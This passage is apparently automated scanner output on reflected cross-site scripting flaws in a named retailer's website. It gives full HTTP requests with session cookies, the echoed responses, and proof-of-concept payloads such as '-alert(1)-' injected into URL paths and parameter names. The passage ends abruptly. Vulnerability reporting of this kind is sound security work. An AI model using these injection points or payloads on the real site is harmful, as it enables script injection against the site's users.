GET /Product/PrintProductDetail.aspx11547'%3b864c55dddaf HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:20 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123667
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... n pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Product/PrintProductDetail.aspx11547';864c55dddaf'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db6d2'%3b840d90566d3 was submitted in the REST URL parameter 1. This input was echoed as db6d2';840d90566d3 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Productdb6d2'%3b840d90566d3/ProductDetail.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123591
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Productdb6d2';840d90566d3/ProductDetail.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload caf2a'%3baddeca732e7 was submitted in the REST URL parameter 2. This input was echoed as caf2a';addeca732e7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product/ProductDetail.aspxcaf2a'%3baddeca732e7 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123375
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.40. http://www.discountschoolsupply.com/Product/ProductDetail.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Product/ProductDetail.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0e4d'-alert(1)-'a3ca820ef98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product/ProductDetail.aspx?b0e4d'-alert(1)-'a3ca820ef98=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 03:39:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Cache-Control: no-cache, no-store Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 281018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Product/ProductDetail.aspx?b0e4d'-alert(1)-'a3ca820ef98=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b1d50'%3beefdf5b2f39 was submitted in the REST URL parameter 1. This input was echoed as b1d50';eefdf5b2f39 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Productb1d50'%3beefdf5b2f39/ProductList.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123587
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Productb1d50';eefdf5b2f39/ProductList.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a1fa'%3b66af4d2dc85 was submitted in the REST URL parameter 2. This input was echoed as 1a1fa';66af4d2dc85 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product/ProductList.aspx1a1fa'%3b66af4d2dc85 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:00:33 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123653
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/Product/ProductList.aspx1a1fa';66af4d2dc85'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.43. http://www.discountschoolsupply.com/Product/ProductList.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Product/ProductList.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2937'-alert(1)-'64bc85dfcca was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Product/ProductList.aspx?a2937'-alert(1)-'64bc85dfcca=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:00:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Cache-Control: no-cache, no-store Pragma: no-cache Expires: -1 Content-Type: text/html; charset=utf-8 Content-Length: 171941
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Product/ProductList.aspx?a2937'-alert(1)-'64bc85dfcca=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f9100'%3b7c8d7d8e24e was submitted in the REST URL parameter 1. This input was echoed as f9100';7c8d7d8e24e in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ProductReviews.aspxf9100'%3b7c8d7d8e24e HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:01:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 117948
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... t"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Error.aspx?404;http://www.discountschoolsupply.com:80/ProductReviews.aspxf9100';7c8d7d8e24e'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.45. http://www.discountschoolsupply.com/ProductReviews.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/ProductReviews.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b73ba'-alert(1)-'6b744419339 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ProductReviews.aspx?b73ba'-alert(1)-'6b744419339=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:01:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 128665
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Excelligence-Learning .:: D ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'ProductReviews.aspx?b73ba'-alert(1)-'6b744419339=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3ab0'%3b693ab674ac4 was submitted in the REST URL parameter 1. This input was echoed as d3ab0';693ab674ac4 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Sitemapd3ab0'%3b693ab674ac4/Welcomemap.aspx HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response (redirected)
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:02:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123585
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'error.aspx?aspxerrorpath=/Sitemapd3ab0';693ab674ac4/Welcomemap.aspx'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e06da'%3b1d9d1631318 was submitted in the REST URL parameter 2. This input was echoed as e06da';1d9d1631318 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Sitemap/Welcomemap.aspxe06da'%3b1d9d1631318 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 404 Not Found Date: Sun, 26 Dec 2010 04:03:03 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 123651
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]...
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixChr ...[SNIP]...
1.48. http://www.discountschoolsupply.com/Sitemap/Welcomemap.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.discountschoolsupply.com
Path:
/Sitemap/Welcomemap.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4dad7'-alert(1)-'937b44d08ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Sitemap/Welcomemap.aspx?4dad7'-alert(1)-'937b44d08ff=1 HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
HTTP/1.1 200 OK Date: Sun, 26 Dec 2010 04:02:40 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 189856
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head id="ctl00_hdMasterPage"><title> Discount School Supply </t ...[SNIP]... <script type="text/javascript"> function pf_PostBack(ID) { try { document.forms[0].action = 'https://www.discountschoolsupply.com/' + 'Sitemap/Welcomemap.aspx?4dad7'-alert(1)-'937b44d08ff=1'; hdnLogonFixChrome.value = "false"; document.forms[0].submit(); } catch(e){}
try { if (CheckCookiesEnabled(ID)) { hdnLogonFixC ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6b9a'%3bbdb708719f was submitted in the REST URL parameter 1. This input was echoed as e6b9a';bdb708719f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /UserControlse6b9a'%3bbdb708719f/warn.asp HTTP/1.1 Host: www.discountschoolsupply.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=11608481.1293356326.1.1.utmcsr=CSE|utmccn=becomecom|utmcmd=weblink; ASPSESSIONIDAQSQCBRQ=ANIIDPLCOIAEAJOJMJFDDMGD; ABTesting=cookiemonster=cowabunga&abv=1&abt1=b; ESCode=es=237420000ESC&esExpiryDateTime=2/23/2011 7:46:34 PM; __utma=11608481.1341632093.1293356326.1293356326.1293356326.1; __utmc=11608481; DSS=Shopper_Id=30zc3j45vfpiii55rmfjpl452.721778&FeaturedProductID=0&ClearanceProductID=0&ZipCode=&FeatureItemSr=0&NewArrivalSr=0&ExclusiveSr=0&SessionSr=A000123&AutoLogin=; __utmb=11608481.1.10.1293356326; ASP.NET_SessionId=30zc3j45vfpiii55rmfjpl45;
Response
